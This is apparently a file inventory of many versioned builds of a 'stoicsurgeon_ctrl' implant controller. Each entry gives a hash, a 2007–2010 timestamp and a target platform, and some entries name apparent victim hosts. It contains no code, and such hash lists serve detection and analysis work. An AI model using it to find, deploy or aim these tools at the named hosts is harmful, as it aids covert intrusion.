stoicsurgeon_ctrl__v__1.2.9.2_x86-linux-slackware-10.2 +5951CDE772CBA384F73CFD8DC63165387F559109 Mon Dec 3 16:39:38 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.2.1_x86-linux-guardianwall +F742263D2C2FEE02C8B8F84BA62A15A9B4613A43 Wed Dec 5 18:44:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.3.1_x86-linux-suse-8.2 +1CB2F9074C56829B3E11A21187D42211A5EBA7AA Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.4.2_x86-linux-suse-10.0 +1CB2F9074C56829B3E11A21187D42211A5EBA7AA Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.4.3_x86-linux-tilttop-gate.nto +056388D8375475A3C080FC3934C4AED2638A160C Thu Feb 7 23:57:08 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.0.1_x86-linux-fedora7 +2FAE985B9AC1DB56225B1AFF05EDCED743D1A5A0 Mon Mar 31 17:15:37 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.10_x86-linux-avaya +1CDEFCE06B5B3715FFD8EB7231FEE313F62A957D Mon Mar 31 21:05:06 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.11_x86-freebsd-6.2 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.12_x86-linux-tilttop +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.13_x86-linux-debian-3.0 +3339C9B49722B4D10B8B3E66D0AC99016F2E3CD7 Tue Apr 8 19:29:44 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.14_x86-freebsd-5.5 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.1_x86-linux-fedora4 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.2_x86-linux-fedora7 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.3_x86-linux-redhat-7.3 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.4_x86-linux-mandrake-9.2 +4E5A06BB4AD87D4D10D2308BB785DE3447B3D81C Wed Mar 26 13:20:28 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.5_x86-freebsd-6.1 +94166BB0D0B1CE58DD9A93EA42438C575BD8126D Thu Mar 27 15:26:50 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.6_x86-freebsd-5.4 +44A204F30C93B12E1FAB758A23BE84D6173584CB Thu Mar 27 20:46:53 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.7_x86-freebsd-6.0 +9426A77D3061908F1DDBF2E8BF232D41EC309F22 Fri Mar 28 17:35:21 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.8_x86-freebsd-5.3 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.9_x86-linux-centos-5.0 +FD224CA53EAA800E595C5E10405487ED36F18180 Mon May 5 17:04:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.11.1_sparc-sun-solaris2.10 +FD224CA53EAA800E595C5E10405487ED36F18180 Mon May 5 17:04:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.11.2_sparc-sun-solaris2.10 +7AC4554D78FBA44140E68A65DA73A62DCE824FB3 Sat May 17 19:44:50 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.12.1_x86-linux-ubuntu +74B09BD2A3395581BD4941E468A66DE9F4327E36 Thu Jun 26 22:40:27 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.12.2_x86-linux-slackware-10.0 +4FD56AE0FF404111A66EECEE6C3981F26443DC89 Mon Jun 9 13:35:40 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.14.1_i386-pc-solaris2.10 +4BDFB6A22F48479981F6E61260557A1EC68AB690 Fri Jul 25 17:41:45 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.15.14_x86-linux-fedora1 +0063107275B8C990B46BBFA85AB015C020697808 Wed Jul 30 15:40:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.15.1_x86-linux-centos-5.1 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.1_x86-linux-debian-4.0 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.2_x86-linux-tilttop +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.4_x86-linux-fedora7 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.5_x86-linux-centos-4.5 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.6_x86-linux-fedora6 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.7_x86-linux-tilttop +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.8_x86-linux-centos-5.2 +C9571E83652F05921BD0E8C4E4A18C131E9C58E6 Thu Sep 18 17:15:20 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.20.1_x86-freebsd-6.1-wickedviper +4D3D104C8AC1B2472CAE48C5DB3B212CCB27DBEA Mon Sep 22 17:13:24 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.21.1_x86-linux-centos-wax-5.x +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.10_error_x86_linux_tilttop_1.4.23.10 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.10_x86-linux-tilttop +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.1_x86-linux-debian-4.0 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.2_x86-linux-tilttop +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.3_error_x86_linux_centos_5.2_i386_linux +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.3_x86-linux-centos-5.2 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.8_x86-linux-suse-9.3 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.9_x86-linux-tilttop +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.2_error_x86_linux_fedora7_i386_linux +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.2_x86-linux-fedora7 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.3_x86-linux-redhat-7.3 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.4_x86-linux-redhat-8.0 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.5_x86-linux-suse-10.0 +8A4DD530060E297E5E70AF28C75BD34A2E579A40 Thu Dec 18 13:59:41 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.1_sparc-sun-solaris2.9 +2171C3DA8BBA1C1B5D69D6BEA44E8C11F68BDDAE Thu Dec 18 15:55:07 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.2_sparc-sun-solaris2.10 +4FE386DCD5B9B23A9BF2F0F02703396F179DC5FD Thu Dec 18 23:38:58 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.3_sparc-sun-solaris2.8 +FDEE3A07BA0FFECEBF273693EE0EFB63687F1309 Thu Jan 8 22:08:44 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.27.2_x86-linux-ubuntu-7.04 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.1_x86-linux-slackware-9.1 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.2_x86-linux-centos-5.1 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.3_x86-linux-alt-4.0 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.4_x86-linux-crypticsentinel-mailser +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.5_x86-linux-fedora6 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.7_x86-linux-tilttop +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.8_x86-linux-tilttop +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.9_x86-linux-fedora3 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.1_sparc-sun-solaris2.7 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.2_sparc-sun-solaris2.8 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.3_sparc-sun-solaris2.9 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.4_sparc-sun-solaris2.10 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.5_i386-pc-solaris2.8 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.6_i386-pc-solaris2.9 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.7_i386-pc-solaris2.10 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.8_sparc-sun-solaris2.9 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.9_i386-pc-solaris2.9 +F3F1A6296DBA23E5997F0A333B43568E0A5944BD Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.30.1_x86-linux-centos-5.2 +F3F1A6296DBA23E5997F0A333B43568E0A5944BD Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.30.4_x86-linux-centos-4.3 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.1_error_x86_linux_suse_10.3_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.1_x86-linux-suse-10.3 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.2_x86-linux-redhat-enterprise-3.0 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.3_error_x86_linux_fedora5_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.3_x86-linux-fedora5 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.4_error_x86_linux_tilttop_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.4_x86-linux-tilttop +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.5_x86-linux-redhat-enterprise-4.0 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.6_x86-linux-vinifera-bs003v01 +C61EB9829C105520B819E20169FA9699078720C8 Wed Feb 25 17:33:11 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.7_x86_64-linux-centos-4.6 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.8_error_x86_linux_debian_4.0_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.1_x86-linux-suse-enterprise-9 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.2_error_x86_linux_ubuntu_8.04_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.2_x86-linux-ubuntu-8.04 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.3_x86-linux-debian-3.1 +3271C4E438AB250F225B5B82ACCEFAB40E31DE2B Mon Mar 9 20:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.4_x86-linux-avaya +B236474561FE3D7684AD29029FB28A85D6916C7D Tue Mar 10 19:43:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.5_x86_64-linux-redhat-enterprise-4.0 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.6_error_x86_linux_slyeagle_ns.multinet.af_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.6_x86-linux-slyeagle-ns.multinet.af +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.7_error_x86_linux_slyeagle_ns_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.7_x86-linux-slyeagle-ns +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.1_x86-linux-suse-10.3 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.2_x86-linux-fedora7 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.3_x86-linux-fedora6 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.4_x86-linux-slackware-12.0 +1C8FDE11F8C73E4A19057604E32B4386CF06D771 Thu Apr 2 16:57:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.1_sparc-sun-solaris2.8 +2767D05B7AF76B9233274E0F8C72AE74D2B41216 Thu Apr 2 18:56:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.2_sparc-sun-solaris2.9 +222DCDA93329D69F9FF7AF4E0B3074C359F26D92 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.3_sparc-sun-solaris2.10 +222DCDA93329D69F9FF7AF4E0B3074C359F26D92 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.5_sparc-sun-solaris2.10 +75DDEFCC4268A7712E4140833AC0B3F68E4D784C Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.1_error_x86_64_linux_debian_4.0_bin +75DDEFCC4268A7712E4140833AC0B3F68E4D784C Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.1_x86_64-linux-debian-4.0 +3CA5C2CB824660347166EF9D93B2276A6EBFB4DC Tue May 19 19:07:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.3_x86_64-linux-complexpuzzle-argos.b.de.kcce.net +157FE3B05B3863794C21B6E506B5DC558B802ED5 Wed Mar 5 21:23:43 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.5.1_x86-linux-fedora4 +0840F4048F665F585122BFA9725CF563160023F7 Mon Jun 15 17:21:08 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.10_x86-linux-fataltouch +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.1_x86-linux-centos-4.4 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.2_x86-linux-centos-4.6 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.3_x86-linux-tilttop-gate2 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.4_x86-linux-charmshrill-server +E5FC928178D1A6CE6D8EF6F8B01B3DE04AE9BCB6 Fri Jun 12 19:56:15 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.5_x86-linux-wolfacid_iq-lunasat-qos +8553765A31D5D3FFBF7A310B0EF366DCD04DA933 Wed Sep 2 02:22:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.10.1_sparc-sun-solaris2.8 +A68D48D22D0EABAD99C61FF729B85C4AAF59D4FF Wed Sep 2 02:36:49 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.10.2_sparc-sun-solaris2.9 +E5DA0DC05A85249A78EB7A100B36ED52B5C012C3 Wed Sep 23 20:30:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.2_sparc-sun-solaris2.8 +906353021314D1088490F9966E391487FDDE2F12 Wed Sep 23 20:38:34 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.10 +3691E4AAF9526152C6FA0A36DEAA9F27D6155137 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.9 +3691E4AAF9526152C6FA0A36DEAA9F27D6155137 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.6_sparc-sun-solaris2.9 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.1_x86-linux-suse-enterprise-9 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.4_x86-linux-centos-5.3 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.5_x86-linux-debian-4.0 +D3E7A7C54009102C1D13B2A0AE9D3D79E7DF256C Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.6_x86_64-linux-centos-4.4 +D3E7A7C54009102C1D13B2A0AE9D3D79E7DF256C Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.7_x86_64-linux-centos-5.3 +384D9F999253A97A6A3E5ADD952CA9E4E7C563D9 Wed Sep 30 20:48:40 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.8_x86_64-linux-centos-5.3 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.9_x86-linux-centos-5.2 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.1_x86-linux-centos-4.7 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.2_x86-linux-asianux-1.0 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.3_x86-linux-slackware-10.1 +0AEDC194474DB2F9D0D180A8D8AAAB9B27873D97 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.4_x86-freebsd-5.3 +0AEDC194474DB2F9D0D180A8D8AAAB9B27873D97 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.5_x86-freebsd-5.3-sassyninja +9C3E4A797396F6957170CCF9D296296EDF1492CB Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.1_x86_64-linux-redhat-enterprise-4.0 +9C3E4A797396F6957170CCF9D296296EDF1492CB Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.2_x86_64-linux-redhat-enterprise-5.0 +7F3FEC2C7395696C45AD11E0DBA0A0C0B607ED9A Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.3_x86-linux-ubuntu-8.04 +7F3FEC2C7395696C45AD11E0DBA0A0C0B607ED9A Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.5_x86-linux-fedora9 +450AB9C2B2693E40C3A0258A39A1DF80B6781A5D Wed Oct 14 13:47:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.15.1_x86-freebsd-7.1 +F870A97684B9DEA1399F7BC9E5CC0CB6668DDFF7 Wed Oct 14 14:34:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.15.2_x86-freebsd-7.2 +80C779212A8A048ED6AD1E632F78C4BD003DA75C Tue Oct 20 10:55:41 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.10_x86-freebsd-7.2 +0F357135CBE7BEFAB89397DFC6ABB5C07A968B27 Tue Oct 20 13:28:26 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.11_x86-freebsd-5.3 +0F357135CBE7BEFAB89397DFC6ABB5C07A968B27 Tue Oct 20 13:28:26 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.12_x86-freebsd-5.3-sassyninja +4D9EF34B808774426A89940750755F3FD817C3EE Tue Oct 20 17:30:09 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.13_x86_64-linux-debian-4.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.14_x86-linux-centos-5.2 +55751B6A8807845EDE77A2E9B1A89EB03F4A6208 Fri Oct 30 16:48:13 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.15_x86_64-linux-redhat-enterprise-4.0 +7D9FD4E5A3B4DF3F1056B9F64D8C61E0924D38BA Thu Nov 5 21:00:41 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.16_x86_64-linux-redhat-enterprise-5.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.17_x86-linux-fedora10 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.19_x86-linux-suse-10.2 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.1_x86-linux-debian-5.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.2_x86-linux-fedora10 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.3_x86-linux-fedora8 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.4_x86-linux-centos-5.3 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.5_x86-linux-redhat-7.3 +8E8590757D80A2136348406CA67DB286469B7B2D Mon Oct 19 18:58:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.8_x86-freebsd-7.1 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.9_x86-linux-suse-enterprise-9 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] 